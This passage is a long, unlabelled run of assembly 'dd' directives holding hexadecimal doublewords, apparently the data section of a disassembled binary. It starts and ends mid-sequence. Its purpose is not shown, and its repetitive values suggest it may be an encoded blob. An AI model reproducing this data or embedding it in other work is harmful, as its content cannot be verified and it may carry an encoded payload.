8806E0F5h, 0A5D531CCh, 4035EB61h, 191E198Fh dd 0F8E70927h, 7AB205DBh, 0D8E7CCC5h, 2F15879Eh, 0F3A3C57Fh dd 3CDD9F64h, 0E44F4CDBh, 138449B3h, 5C9F7287h, 0C391D3B5h dd 7306E0B5h, 7B14EB3h, 0D3ED2252h, 7407F8B9h, 156619DBh dd 12E46932h, 0BBBC5460h, 0FBD975E3h, 5210F841h, 524847B3h dd 942141E9h, 0B46968C5h, 4A983810h, 0D3E7461Bh, 403C3C88h dd 156BCBCEh, 26DE1132h, 0FB921643h, 1CF47DD0h, 0E64E49A5h dd 14E31E96h, 0ED668832h, 0EA9B68DBh, 0AA6942CDh, 0CAED71FBh dd 989EE953h, 0EFE97AFh, 1560CB34h, 1E91132h, 48415002h dd 9F0697CDh, 9C3343D1h, 9E8E98CFh, 0D1E5AC1Eh, 58E2436h dd 82662232h, 0CDBFCBDFh dd 0E163F834h, 942FB95Dh, 1A74C341h, 9F3FEE8Dh, 904DE9D5h dd 13735983h, 157CAD3Dh, 91691132h, 15668826h, 15664BDBh dd 0F3D9BC32h, 46489C74h, 0DF01F8EAh, 8512AB3h, 98E3ABCEh dd 0ED600430h, 0A4E303CBh, 7560512Fh, 15662EDAh, 608A5732h dd 4A4DFB51h, 0AEE5D571h, 1563CB65h, 0A6001132h, 4D9FEF07h dd 0FB8FC554h, 9C31430Ah, 11A190D5h, 94668832h, 156640DDh dd 315AA532h, 315A986Eh, 15770B3Dh, 198F4432h, 0B2662232h dd 373B3581h, 8210CE2h, 7DAF7308h, 15662814h, 754215BBh dd 156684DBh, 0BFB00632h, 0A34F4655h, 0A01F5539h, 156E6005h dd 0B624432h, 15CF95F1h, 9E00F267h, 0EC07D0E2h, 8EA6C9BFh dd 0A1062429h, 730670C3h, 749F73B9h, 1E8F95CDh, 0CA662232h dd 34BC34B0h, 394964B2h, 90ED2348h, 137308CFh, 2FE679C7h dd 11EF8832h, 156CAD16h, 71AB2232h, 32687B2Dh, 0BA5CED51h dd 1512045Ah, 315AAB32h, 1AAE9A52h, 156688BDh, 90ED2532h dd 13733F83h, 0E911A052h, 0F4EFD953h, 156285B3h, 0FCE52232h dd 316A9636h, 3162016Eh, 0CFDD2252h, 0CFC79ABCh, 9807681Fh dd 0EFB97BFh, 1DE64B34h, 75662232h, 1566973Dh, 0EA078832h dd 730624E3h, 1AE1748Bh, 156611B6h, 9169E932h, 15664439h dd 156624DBh, 0A355232h, 74425971h, 9C62A8B1h, 753C0636h dd 15661FDAh, 0D6532F32h, 0C085CDE6h, 6B335F27h, 0FC331DF7h dd 15668834h, 0CC8B40DAh, 753D1CBBh, 9F889054h, 7407E803h dd 2C522C53h, 11EF2232h, 9D694816h, 15668834h, 753D1352h dd 984D4353h, 13733BCFh, 6CDB0BC7h, 1560511Eh, 15DCA63Dh dd 9A691132h, 15668821h, 15664ADBh, 1B6F032h, 0B29FA6A1h dd 0E0B09F27h, 9ED06A54h, 748BB7h, 156DF834h, 0CBD38832h dd 8A0ADE3Dh, 0DDE80541h, 0A30671EDh, 7439D9ACh, 68BCC554h dd 904D4328h, 13733D4Bh, 156681DBh, 7CAA2A32h, 15EBFAD4h dd 0D45DBF7Bh, 15040E3Dh, 78F4432h, 21662232h, 499868Fh dd 93286AA7h, 817EC5FEh, 5577F2E7h, 0B4E39A27h, 0FC609D2Eh dd 1566443Bh, 568AD656h, 9D8E14BEh, 6CE38B7Ch, 7560511Eh dd 1565A53Dh, 0F2E61132h, 0CCEDDA5Bh, 90EF2569h, 13733BBFh dd 0CBED7752h, 743DD852h, 14C2AD53h, 96692232h, 1566113Ah dd 15640D3Dh, 74064432h, 1553955Ah, 316A9832h, 156681DBh dd 0C01C4E32h, 0B3B7B794h, 9437709Bh, 2F42AC1Eh, 443E6FA1h dd 865C068Bh, 4CAE1019h, 0EAD8DECBh, 1499BBCDh, 0FC067CC2h dd 15661138h, 10C84E8Ah, 0A791B390h, 0ED07BB68h, 85DE4164h dd 0AB76BE43h, 5503A5Dh, 1C3EE403h, 78F4FC2h, 8E668832h dd 6ADB481Fh, 30C73524h, 83A13855h, 0FDC6904Fh, 0AA31BDAFh dd 0EA99DDCDh, 1A39E91Bh, 156689B3h, 78FBC32h, 4D662232h dd 293B37E9h, 7935AA6Ch, 53B92EF4h, 3EC53C56h, 0BCE3981Dh dd 0FC609D20h, 15664438h, 0B80B517Fh, 9ECEC762h, 9067EC65h dd 1373475Fh, 156629DBh, 4ED63A32h, 0D495235Bh, 7E60D1AFh dd 391FA7F5h, 15661727h, 95698832h, 1566443Ah, 1564AD3Dh dd 74061132h, 1A06C858h, 156644BBh, 0C4DE4432h, 150E70C4h dd 75668822h, 156648DBh, 16AFAE32h, 0EE3659F0h, 0B3174339h dd 9C3325FBh, 11A3A3D7h, 96661132h, 39E18CDFh, 19EF1816h dd 156ECB16h, 71B71132h, 0BC7F8ED1h, 150CE010h, 15E12D52h dd 0FC661132h, 15668837h, 82F97423h, 0EA9A4383h, 42D8A7h dd 80997034h, 13736C2Fh, 1561A83Dh, 96691132h, 15668833h dd 0B4E3CDC7h, 1A60372Eh, 15661BB3h, 0AA69E832h, 0CBE722C9h dd 9C07A205h, 7F9CB7h, 15766134h, 16394432h, 0D01F968Ah dd 0BFAE027Fh, 1948D4CBh, 21994146h, 0D1E77B16h, 15661136h dd 156681DBh, 0D260BD32h, 6DD6D09Fh, 0A0992372h, 137391BFh dd 0E8D3BBCBh, 1A603718h, 156619B4h, 17EB8732h, 75664432h dd 156ACB53h, 331F1132h, 0AE58F321h, 76F8C2B2h, 4B0E99A0h dd 9C661159h, 9569AC0Eh, 15664423h, 156DAD3Dh, 138F1132h dd 4F668832h, 0C703CFD4h, 1572CB56h, 35001132h, 0CCD8E016h dd 0F4E87AB6h, 4D28FE15h, 3C1AB480h, 0A0998D6Ch, 13735983h dd 4F8FA252h, 15661FDAh, 0BDD4A532h, 0E5929C35h, 2AEF4A87h dd 1A86F91Fh, 156688BEh, 98071F32h, 0ED37CB7h, 48F7134h dd 0DE668832h, 7CE4FF82h, 0CE239B3Eh, 0AD2F72Fh, 5005CFC8h dd 1566CC3Dh, 0EA072232h, 9867E8E2h, 1373A44Bh, 1561C33Dh dd 73062232h, 7406CEB9h, 98DB0353h, 0ED60512Bh, 3F9B97B9h dd 43061727h, 156684DBh, 4DA8EB32h, 0CD05500h, 248330CBh dd 80DDD062h, 743EFC8Bh, 1571A43Dh, 78F1132h, 33668832h dd 8B887CFDh, 0C20F6D69h, 462DDD42h, 0DF0ABF55h, 75C2B72Ah dd 94006D86h, 74F01CC5h, 84D303CAh, 1A605138h, 156629B2h dd 1560F832h, 555B8832h, 281240B3h, 0F9E5DA9Fh, 31629836h dd 0F315318Ah, 0E9208335h, 1280518Bh, 4D9A5703h, 1567013Dh dd 0D49A4432h, 730627F2h, 9400EFB9h, 741301C4h, 155DF35Ah dd 316AAB32h, 0CE23458Bh, 4CAE8953h, 24E347CAh, 0E0603732h dd 0CEB9CB9h, 1F8F8E27h, 0D6664432h, 0C085ABE6h, 6B336C27h dd 0DBEDE8F7h, 156655DBh, 90CF0032h, 0F4C72AE6h, 6FA910C2h dd 3781B5EAh, 7D070170h, 1566691Eh, 9A4284BBh, 14E64B32h dd 0EC662232h, 1A06BCCEh, 156688B4h, 0CC95C532h, 743B7E79h dd 15789B3Dh, 92698832h, 1566442Ah, 156631DBh, 0FDD61332h dd 69B818BFh, 2015D10Ah, 0F35F215h, 8DF9DA8Bh, 45843361h dd 94255084h, 1AD753F1h, 0E938986Ch, 0E9080969h, 285C1603h dd 0F79A6CB3h, 944B1728h, 507B7474h, 73068642h, 7365368Ch dd 9C07CBB9h, 6C1987h, 9A692434h, 15662230h, 0A1067052h dd 74A702BCh, 0EA9EC753h, 15FBA73Dh, 1D8F1132h, 2B668832h dd 0A38FAEC1h, 9488D0F9h, 0C8BBCC0Ch, 91E387EFh, 75664432h dd 15DC7053h, 14661132h, 15644FC0h, 9E664432h, 0D1E50626h dd 156AF836h, 343F8832h, 80EA7777h, 8584ADCDh, 463365CFh dd 15668C89h, 4EBBCD32h, 1A3BCC33h, 15661DBFh, 13EE8732h dd 1A664432h, 156622B2h, 84D39832h, 1A609D38h, 156659BFh dd 2EB2D32h, 0FC661132h, 15668820h, 0A3195918h, 0F2BA2C23h dd 6A9A2315h, 0FA83572Dh, 0D58F3DE7h, 0E999DDE6h, 15661BDBh dd 85CE0D32h, 0AB9E1851h, 0D408525Bh, 169F12F2h, 66B9B7h dd 156EAD34h, 3B7B2232h, 7551AA91h, 0A8E52D44h, 13735007h dd 89E22D33h, 0FC661131h, 15668839h, 0DFD708BAh, 4DB8B619h dd 947BB550h, 0BFCC220Ch, 0DFE34B98h, 1A662232h, 156605BDh dd 15696132h, 4B284432h, 6D573F2Eh, 0E8AEFDF9h, 0EF36494Eh dd 11DC1680h, 94662232h, 214A0CF4h, 94B0891Bh, 214A59DCh dd 188F781Bh, 4A661132h, 0D533BF24h, 0F00B5FC9h, 0E5394047h dd 15DF4067h, 9C668832h, 7BEF1DFFh, 1A067FCEh, 156617BBh dd 15E48732h, 1A664432h, 156627B2h, 0DBE77732h, 0EC07232Eh dd 11ED1362h, 11A2A316h, 4A661132h, 90697152h, 15664430h dd 75077B63h, 7EA6A954h, 0A734D953h, 4FB3CC3Eh, 0D898E7CCh dd 9DBBD4B2h, 0FC06D1DAh, 15664421h, 0A1962FB9h, 4E8DB383h dd 0DABEC068h, 404FB88h, 1A97AB30h, 0FC07EA85h, 1566880Ch dd 156DCF3Dh, 138F2232h, 14661132h, 0D8DD495Bh, 9E3114D8h dd 0D1E70636h, 15661136h dd 18E5876Dh, 75664432h, 0D5FBCCB3h, 940064A4h, 740FA0EBh dd 155BAB5Ah, 3172AB32h, 0E5EEF984h, 9C347468h, 11A4C5D0h dd 96662232h, 1E115D8h, 11EFD416h, 0D9DD2416h, 0AB0928B4h dd 4B36CF2Fh, 0F8DB0B53h, 1460511Eh, 142CA63Dh, 0AD931132h dd 34A6F29Eh, 0E1BFF61h, 0C6916FA3h, 0E6E7CAC5h, 3D63ADBDh dd 0F6B797C5h, 0EC5ED1B3h, 0CD6773B8h, 138E4969h, 63BE7172h dd 1A8F23D2h, 0CF661132h, 5143A4E2h, 31ACB451h, 1BEFABB8h dd 0A8E5C376h, 137A0F50h, 1E24B32h, 75662232h, 9807E4CBh dd 0EAFCBAFh, 14EF4B34h, 0ED662232h, 959EC2CDh, 9169180Dh dd 1566447Dh, 16E62D52h, 95661132h, 94001EC6h, 744196FCh dd 4DDE7260h, 0E26F2B61h, 202EC8E2h, 0E3A3E890h, 143EE0BBh dd 73064BE5h, 0C66C57B3h, 0FC07BCB9h, 1566238Dh, 1573953Dh dd 58F8832h, 0D8664432h, 0B9456508h, 199E7BEBh, 509EA1ACh dd 965F7226h, 976972CAh, 156611BAh, 156E013Dh, 1A064432h dd 156622B2h, 7D007032h, 9C00991Ch, 85D5602Eh, 4E00FABAh dd 156600DBh, 0FA564932h, 8EC4C584h, 805D0AEAh, 0BF5981A6h dd 75CC68B4h, 7394FB3Dh, 74AFD78Dh, 464215B9h, 0D6E76BBBh dd 15664436h, 9262E1B1h, 1A3A352Eh, 15668CB1h, 4B362432h dd 1F8F8853h, 69661132h, 177EE79Bh, 451963B8h, 19EB2D1Ah dd 1A661132h, 15668EB2h, 15E34B32h, 0FC662232h, 156611BEh dd 1567043Dh, 0EC934432h, 4D4216CDh, 1562D5B3h, 9F698832h dd 15664426h, 15662DDBh, 0E1672332h, 2A02BB9h, 0B9894263h dd 63FAEA37h, 6AE6E898h, 906961CDh, 15664466h, 156632DBh dd 5200ED32h, 8887ECADh, 10274E47h, 90734F39h, 77DB92FAh dd 156094B5h, 1571C03Dh, 43062232h, 15669F3Dh, 73388832h dd 980793B9h, 0EAE68AFh, 0C699E434h, 311DE0CAh, 19EF4432h dd 15629B16h, 0EC671132h, 753F89BAh, 7391CF54h, 74A5BF88h dd 0CEB94B9h, 9E698E27h, 1566443Ah, 1564AB3Dh, 74061132h dd 156A093Dh, 92694432h, 15662234h, 15669B3Dh, 0E5638832h dd 3C5DEB65h, 45D874CAh, 94398113h, 0A858D8D4h, 7588C50Ch dd 3C84C2FAh, 94064FC2h, 4E8BA3E2h, 0F7E72219h, 7D07167Ah dd 156621A1h, 0A842A4BBh, 15664436h, 753BCA1Bh, 156605DBh dd 7A22E932h, 2550F9BFh, 0BE757478h, 4F5FCBFFh, 0A599786Ch dd 1CDE22FDh, 1ACD43D8h, 15661BB7h, 0E2EDE832h, 1566C93Dh dd 0B8072232h, 1567933Dh, 479A8832h, 200A8F5Ah, 3172A90Eh dd 9462D5B1h, 0DFF5BDF0h, 0E930CDF1h, 758FDB68h, 0ED99EEC9h dd 1FF73DBBh, 469E4227h, 0D6E7C1BBh, 15661136h, 156263B3h dd 9E14432h, 1EF7E16h, 150EE916h, 1A6688B2h, 156645B7h dd 150CDE32h, 156617DBh, 0EF081232h, 0EA2C2C12h, 6D8787h dd 94067134h, 0C87147DBh, 1569AD4Dh, 8EB12232h, 591264CDh dd 0E9D70E4Fh, 683C1AD6h, 0AE004306h, 0EA073560h, 60D9A7h dd 1DE24B34h, 1A662232h, 156613B9h, 9E07E832h, 9C376026h dd 11A7A3D3h, 96661132h, 19E18CF3h, 93691816h, 15662239h dd 4CA69052h, 95365BF8h, 9E0762F5h, 7F6FBFh, 0AC007134h dd 0FDE69039h, 0AB3025C3h, 15662232h, 21ED20BBh, 11A20B16h dd 0E6ED2252h, 0F966F5B3h, 46073E4Ch, 15668C89h, 9EBF4532h dd 0D1E7062Eh, 15661136h, 156684DBh, 0D84D0D32h, 18362868h dd 0DA5E7765h, 58EB0128h, 1A60512Bh, 156631BEh, 1568F832h dd 3B458832h, 0B121F1BBh, 0A2C28ED2h, 0C2DD12E2h, 0EAA133DBh dd 0A03024CDh, 0FC0779B7h, 15661120h, 0A69F636Ah, 89FB5A04h dd 97930807h, 68BADD61h, 8A8FC3A4h, 0EC664418h, 1569CB52h dd 710E1132h, 9DE933Ah, 0F6B61325h, 0DB8F660h, 58EB9A79h dd 0FC609D2Bh, 1566443Ah, 98BA5ED0h, 5BA6736Eh, 19EDB9CDh dd 11A2C716h, 0FCBCA952h, 15661126h, 321DB23Bh, 521ADFB4h dd 0B8D7FB77h, 0B9AA529Eh, 67A4F5C2h, 4BEBCD53h, 0FC603EB5h dd 15661126h, 0ED3D398Dh, 23C18085h, 75026288h, 0AF05176Fh dd 52889BD9h, 41287CB3h, 90696E76h, 1566115Bh, 15668EDBh dd 207BBC32h, 0EC2E7993h, 111E9054h, 9069A67Eh, 15664463h dd 1567A93Dh, 7D9E1132h, 1566FCDBh, 4B4240BBh, 15662EDBh dd 0D29A4B32h, 15327E01h, 9ECCE624h, 13DB777Bh, 94661132h dd 8E1328F4h, 9488457Eh, 8E1382DCh, 9E9A4C7Eh, 769DB7h dd 918FB834h, 1A662237h, 156619B1h, 9E00E832h, 0E6A5C4CCh dd 607D4A53h, 11EF1132h, 9569D616h, 15664437h, 0DDED4452h dd 58F7153h, 8B668832h, 7FF9899Ch, 7BE37BCh, 8C5A7751h dd 1A419933h, 4307928Dh, 0E7EFE4BBh, 944225B9h, 15668CF6h dd 1E14B32h, 0FC662232h, 1566113Dh, 0ADA0D223h, 0AA9F1B53h dd 0F4B1F259h, 241C2BFCh, 156361FBh, 19234432h, 0B9EE3AE7h dd 15799E3Dh, 96698832h, 1566442Bh, 156636DBh, 9FFA0D32h dd 0C8443083h, 0E13751A3h, 0D2FA0E9h, 9F2462FEh, 155A7055h dd 140FC03Dh, 299E2232h, 0DDE21E1Fh, 1A9977CDh, 156646B6h dd 29074232h, 0A8E21E1Ch, 1A668832h, 156645B7h, 255ADB32h dd 10E2933Dh, 75068832h, 1566C73Dh, 0A2692232h, 750770E8h dd 746E57B2h, 93697D0Eh, 0EA99DDBDh, 1568F852h, 36B8832h dd 237805A7h, 5AED0261h, 17E5B3ABh, 545AE9CEh, 102AC63Dh dd 138F2232h, 0C0661132h, 0CDEC45E9h, 1A3C7813h, 0EA997CB4h dd 1561F8CDh, 0C7998832h, 0C2D00954h, 1A391E05h, 0EA995BB6h dd 9069E8CDh, 15664433h, 0D1A8A3CBh, 746A1619h, 9769E90Eh dd 1566413Ch, 1561AD3Dh, 9C691132h, 15668833h, 1A1C78CEh dd 0EA993CB4h, 0FC9EE8CDh, 15668CC0h, 156BAD52h, 7CC92232h dd 0D43F8645h, 0A30816B9h, 1AF4C780h, 156620B3h, 749D9A32h dd 15673765h, 0EF674432h, 1569CB6Dh, 25791132h, 7AB55CCFh dd 0E8472550h, 0B2FD3D29h, 0CAED7125h, 0D08B47B3h, 2C0745C1h dd 0B2E22DC0h, 1A661136h, 156691BCh, 1572AD32h, 53B42232h dd 46F76203h, 13AE07F7h, 9B1EBAD2h, 3439FBC9h, 0AC3723A1h dd 0EA9977CDh, 0EC3F8E33h, 1567AA3Dh, 47931132h, 0EA997788h dd 4FB76DCDh, 1572CBCEh, 0E6471132h, 6EFEB465h, 68DB6EFFh dd 0EB7E197Fh, 0BEDAA652h, 618FC3F6h, 7599BBCCh, 94B6A954h dd 0BDB3FE9h, 909AE90Ch, 2EE24BFBh, 0FC662236h, 1566113Dh dd 22C5420Bh, 9360C20Ah, 72F0E06h, 986F8938h, 44B187h dd 13E74B34h, 75662232h, 0C03CA954h, 19EDDA53h, 11A2C516h dd 1A662232h, 156619BCh, 0AE00E832h, 74067753h, 14EE2D53h dd 0ED661132h, 9C6264B1h, 39E76026h, 686B4316h, 0D2E74E22h dd 51B8553h, 156641DBh, 0DBD4C132h, 45379337h, 0F1E6A386h dd 4882C467h, 9582E6B2h, 0E1E6BEFEh, 4D87003Dh, 0E4E68DCCh dd 4CAEAAC3h, 156616DBh, 7971B332h, 3F3A5198h, 0E99B579Ch dd 0CCD847C7h, 3C50A57Ch, 0EC4F1AC3h, 5BBFE3B3h, 0A106271Fh dd 158809CFh, 742E051Ch, 156DCA52h, 0ECF51132h, 9145D7F9h dd 6EE595DAh, 4A0742FCh, 0D798BE8Ah, 0EA37E927h, 191603Eh dd 93697B16h, 15661138h, 15668DDBh, 71E20B32h, 0AD36FF46h dd 1C194B8Ah, 386260F3h, 6FA76489h, 10579F07h, 3B063472h dd 0F5A79E2Ah, 59117134h, 0D24F1313h, 94A9386Ah, 3D3AFFF5h dd 156FAD07h, 40BA2232h, 0B085C855h, 0ED931F71h, 118AC565h dd 9C662232h, 4B393506h dd 156699DBh, 0E4F5732h, 38AA70D9h, 9B2C0915h, 7CFFDC07h dd 0B1956ABBh, 1560A23Dh, 75061132h, 74953853h, 0D50BF462h dd 184A21DAh, 9E9956BAh, 0D1E7AC36h, 15664436h, 156624DBh dd 193AE632h, 982DB090h, 447DA7h, 1DEB2D34h, 1A661132h dd 15668ABDh, 9E072432h, 62A3B7h, 156EF834h, 67DF8832h dd 533B6407h, 0D5E35638h, 1559943Dh, 0D3938832h, 6F81B7h dd 9B696534h, 15661133h, 0B2B4E0CEh, 0EA9A90A8h, 4E3387h dd 1576F834h, 0E5168832h, 88189943h, 796D3C0Eh, 0F2AEB70Ch dd 90EB4831h, 137E368Eh, 75B6DDCAh, 0ECED77CAh, 0F6EFDB53h dd 156287B3h, 0FEE72232h, 15661136h, 494294B5h, 754250BBh dd 156629DAh, 0A087DD32h, 9B9E449Dh, 6E16F49h, 5486A354h dd 749E4BA7h, 0FC0658CDh, 15664421h, 0F189AC16h, 7F2997D1h dd 26C4612Ch, 495403D1h, 0FCE1660Bh, 1566113Dh, 0E6443651h dd 84675D1Ch, 2819C8E3h, 747A58DCh, 16EA8752h, 1A664432h dd 9469E185h, 15661131h, 746A69B2h, 906984B7h, 15662311h dd 156618DBh, 0E9A55532h, 58B30F2Ch, 18F9011h, 3B661132h dd 37F95D3Fh, 0A89503B8h, 8A3F8F3Eh, 0A8528C34h, 9E7777A5h dd 6191B7h, 0D5E3DE34h, 150C943Dh, 0A1068832h, 156AADFEh dd 0B8E42232h, 46C5974Dh, 598CA44Dh, 0D307A829h, 6FE7B7h dd 91695D34h, 15668820h, 156649DBh, 7879FF32h, 58997293h dd 1E2E2B87h, 0FC0E9ED4h, 75BFF82Eh, 74919A54h, 3D773DCDh dd 0ED934227h, 67DAA7BFh, 138F172Ah, 66668832h, 0FDF18453h dd 75B6DD18h, 15609B3Dh, 0FAE78832h, 2EFDB31Ah, 0ED077A62h dd 94819865h, 15668CF5h, 1189C532h, 92662232h, 9C3A350Eh dd 78FAC26h, 0DB664432h, 6377AC1Ch, 0B8CB29D6h, 91D736A2h dd 7FFEE164h, 1577CB03h, 37471132h, 0D584971Eh, 0E341AFFCh dd 3D81E5C2h, 0EAE22122h, 10E687E2h, 75664432h, 74BEA9C7h dd 9069D1B7h, 15668819h, 0FFE72252h, 0FC063C41h, 15661138h dd 0AED94172h, 97E1A0E1h, 0AA69910Fh, 0FC0770CDh, 156688E0h dd 0D3ED2252h, 0A774CBB3h, 9C071134h, 9E1D6B7h, 0C7E62434h dd 0F2D944EFh, 9C37700Fh, 11A709D3h, 94664432h, 156626DBh dd 316A9632h, 3162016Eh, 156FADCEh, 11C72232h, 0C913C626h dd 46EAC586h, 0D6E7A7BBh, 15662236h, 9262FAB1h, 9C3AAC2Eh dd 48F6006h, 0A9662232h, 64172DCCh, 7F39B45Eh, 67C29FCh dd 5EF431DDh, 995994BFh, 0FC068E2Ah, 15664423h, 88BB545Ah dd 0DAEE7E6Bh, 0F3D91658h, 4648C974h, 0D6DC44EAh, 0C599703Dh dd 1567083Dh, 1E9F4432h, 0EE32DF2h, 0ED661132h, 15610F3Dh dd 93694432h, 15662233h, 1542F8CEh, 73068832h, 50609DB3h dd 51EF43CAh, 68F0D16h, 0D0668832h, 955B158Eh, 0CC6C5FDAh dd 8C30C5Ah, 189E2972h, 7507385Dh, 1A77EBB2h, 156613BDh dd 74123F32h, 0D7ED24F1h, 3AB00E89h, 1E8F703Ch, 28668832h dd 8F7E131Dh, 0C9BF043Dh, 1A06640Ah, 156689B0h, 98EDBC32h dd 137AA56Ch, 1561943Dh, 91698832h, 15664433h, 49704ACBh dd 11EF1132h, 14E88716h, 0ED664432h, 42ABAB67h, 0EDEFFEBBh dd 4693D56Dh, 15667889h, 14A5A332h, 1429A342h, 148D09F1h dd 1629F642h, 7D9E7931h, 1566114Fh, 0AC4284BBh, 156644BAh dd 4EDE333h, 80EFE46Bh, 13738527h, 0F6DD17CAh, 94086122h dd 8A3ED3F1h, 0F6E7CB25h, 65C0F45h, 43A1C1B3h, 0E6E74B14h dd 5A36E36Ah, 3F00FC62h, 0D64F6D40h, 4EBE106Ah, 9EA40352h dd 0F50E25E8h, 9C662233h, 19DD352Eh, 14668832h, 4E75CFF1h dd 156631DBh, 4A2F1232h, 2390FD23h, 206CA5C9h, 6918C1Ah dd 5D5C3548h, 214B1DBBh, 0E09F4227h, 434226B9h, 0D3E7F7BBh dd 15668836h, 926282B1h, 0FC3A0606h, 15661134h, 0C2C4ADE8h dd 61998D71h, 11ED0616h, 11A29216h, 156E083Dh, 98694432h dd 15662230h, 8B637052h, 10637156h, 1B316D03h, 244BEA1Bh dd 3868461Bh, 109FECACh, 1561C93Dh, 42062232h, 0EED11E6Dh dd 38E3B353h, 1A605106h, 156664B0h, 9E9A7132h, 2E9EE9C8h dd 6B51B7h, 21E52D34h, 1A661132h, 156689BCh, 1A07B832h dd 156626B2h, 89D77132h, 15624A53h, 157FC73Dh, 18F2232h dd 0A3661132h, 0CDFD2AB3h, 81F37F1Ah, 93CC1DA2h, 4ACC6FD2h dd 74657EFAh, 316283CAh, 5C787577h, 944205C5h, 76CEAC36h dd 21E71534h, 0AB3C4316h, 3162906Eh, 4FF9C57h, 944240CDh dd 111F0606h, 39E704BEh, 83465816h, 314AC531h, 60AB6F72h dd 9A909052h, 734F4DA8h, 75078BB9h, 4307E5B9h, 67297961h dd 943DD272h, 204D51C1h, 4F8DA361h, 9C6F646Bh, 61EFD3ECh dd 1A384C16h, 156632BEh, 156DF832h, 0E3998832h, 0BB6B758Ah dd 0FA137230h, 94DB4457h, 940E3825h, 7F7DB7C7h, 0EA8BA315h dd 9499EECDh, 65144D7h, 828BC529h, 945E6F45h, 317ED5C7h dd 7D930914h, 9C92A4A6h, 1A067FDAh, 156611BFh, 0D4E7D832h dd 5AD192B0h, 98EB4368h, 13735EACh, 1567023Dh, 0EA9A4432h dd 7506DBD3h, 0EDBFC489h, 7407395Fh, 156649DBh, 39E35332h dd 0B4FC13BAh, 0BC1BC9A0h, 46340B5Ch, 0E4223489h, 5170AB10h dd 0CF4FAAC3h, 9F944569h, 299F7830h, 78E21EDBh, 0FC668833h dd 1566443Dh, 0AF7BE504h, 0A652FA57h, 71C915B1h, 758F9FC3h dd 1A9DA954h, 2907D185h, 0A6E287DAh, 75664433h, 1563A43Dh dd 94001132h, 9480A4DCh, 9E861CD5h, 1A5A4311h, 1505953Dh dd 299A8832h, 0EDE24BFFh, 0E9662233h, 9169FA0Eh, 15668A5Eh dd 156649DBh, 26445C32h, 0EB970051h, 6FFBCC2Dh, 9469A1BCh dd 15662226h, 15661EDBh, 3A3F5532h, 0E1891A01h, 50A0D33Bh dd 0C95F95E0h, 19E98753h, 0FC664432h, 15662235h, 846B8387h dd 0D6911F17h, 156648DBh, 608A6432h, 4A4D6251h, 0AEE51971h dd 14DF1565h, 14662232h, 15DE41C3h, 14668832h, 4D7ECEFAh dd 1BEA2D6Bh, 75661132h, 9D0442B3h, 0CCE76541h, 65DE1464h dd 4400E453h, 0FE467887h, 316ACF54h, 0FC64E6B1h, 1566113Ah dd 353FCC59h, 0FC54A6A3h, 1AE6D9B2h, 0EA999EB7h, 0C6E7E8CDh dd 30C613C0h, 1560A03Dh, 0DDE71132h, 5CF47F92h, 0AA692453h dd 4307DAF8h, 96420DB9h, 0A6068CF6h, 463025ECh, 5A63B989h dd 0D6E75A53h, 8BD6725Eh, 143D9ABBh, 48F7CC1h, 0C8661132h dd 0C86ECEC9h, 0C1747F7Dh, 0A97FF12Ch, 9F2F4517h, 15643062h dd 0C04B4432h, 14101424h, 3B314C2h, 0D65FE04h, 0C58FBD6Ah dd 75662232h, 1563923Dh, 36DC8832h, 754F4B03h, 73AD953Dh dd 7407DEB9h, 9467FECDh, 52306006h, 403D5FD2h, 0B36CF28Fh dd 94B37F48h, 5B5AD4D7h, 94B3D501h, 0F8612FF7h, 6A30939h dd 9470D50Bh, 0C32D34C7h, 488D206Eh, 25773652h, 9269182Bh dd 15662236h, 4CD5AE54h, 0EE9D0B53h, 1459C03Dh, 9B692232h dd 15661128h, 15766152h, 0F0044432h, 73CE706h, 4B98DFCFh dd 298BF1FEh, 9E00EBFCh, 463043C5h, 2B49AE89h, 313AA17Bh dd 943D1F36h, 2B499DF1h, 0AF34E47Bh, 15668833h, 1DD9AEB3h dd 0E7672BC2h, 1DD9D3B3h, 0F6581C2h, 9C69BD68h, 15662233h dd 10DE41CEh, 94668832h, 0C82C7AF1h, 94A52315h, 0C82C2FD9h dd 0EC06D015h, 2DED8FB3h, 0FC0763C6h, 0EA99EF62h, 74BE0252h dd 156FCA3Dh, 0AA062232h, 7E4AC83Fh, 1A07D161h, 75671A84h dd 1565A73Dh, 0E4E61132h dd 156061FCh, 0C644432h, 81C0301Fh, 1A8F7153h, 57668832h dd 0F6BC2B49h, 942A5A6Eh, 1E68D7AAh, 1A060ECEh, 156644BFh dd 74397032h, 3B8D9253h, 0E89C0C3Dh, 0FC06BBCDh, 15662239h dd 6631615Ah, 6CA55CDh, 1A87C3EBh, 15662EB0h, 1561F832h dd 978C8832h, 0F03D9830h, 5F8F4361h, 75661132h, 0A4375E8Ch dd 0CBED2225h, 14E42D53h, 0ED661132h, 0EB67F6B2h, 0E8D0C13Dh dd 4406DDCDh, 156619DAh, 0F9E7D032h, 0B7C620Ch, 1A3F7C2Bh dd 156606B5h, 15776032h, 4C7E4432h, 9FD1AC6Eh, 0A50821E8h dd 3E7B36F6h, 4A107663h, 0E963CB53h, 9E06EECDh, 157560E3h dd 5D324432h, 90DEF830h, 0E51B6F8Fh, 9DC0F6F6h, 3EACF57Eh dd 4A6595A6h, 3D267953h, 21EF8832h, 1569AD16h, 0BB0B2232h dd 0D65B4390h, 456EEBAEh, 0B5947909h, 0CFE74230h, 7D203100h dd 1090E053h, 19EF4432h, 14E02D16h, 0EC661132h, 94810165h dd 156640F5h, 1189A132h, 49422DB5h, 754294BBh, 0D574FF54h dd 1566A13Dh, 7D071132h, 15669EC0h, 0FC4278BBh, 1566223Fh dd 5665C9BEh, 8D29AC67h, 0E47CDF26h, 0FCA61303h, 15661120h dd 173DBB28h, 719699C9h, 9C949E22h, 6A607033h, 0FCCA5D0Bh dd 1566443Fh, 0E464CB8Ch, 96FEA53Bh, 88E6F042h, 0D4EE15ECh dd 19EDE9BAh, 11A29216h, 4700D9CBh, 0C4EE1780h, 0FCE67854h dd 4CAD3151h, 659D08C7h, 105AC03Dh, 75062232h, 1566943Dh dd 0E0E68832h, 29072592h, 0C2E22D3Dh, 0FC661132h, 15668834h dd 9EE565DDh, 0FC5AC792h, 1F99953Dh, 91698832h, 15664435h dd 1567A73Dh, 299A1132h, 0F9E287D9h, 1A66443Ch, 156620B5h dd 75077132h, 156B6152h, 0A0FF4432h, 7A2A3C65h, 5E86ED7h dd 741FF294h, 0F65A25CBh, 1677A63Dh, 1C8F1132h, 48668832h dd 6FB4EFB0h, 0B89211FFh, 9169F30Eh, 156698B1h, 0E8ECB852h dd 3152DD53h, 11A2926Dh, 15668FDBh, 19CC0932h, 0E95C6202h dd 46420DB9h, 0D6E76BBBh, 15664436h, 1562E1B3h, 9E11132h dd 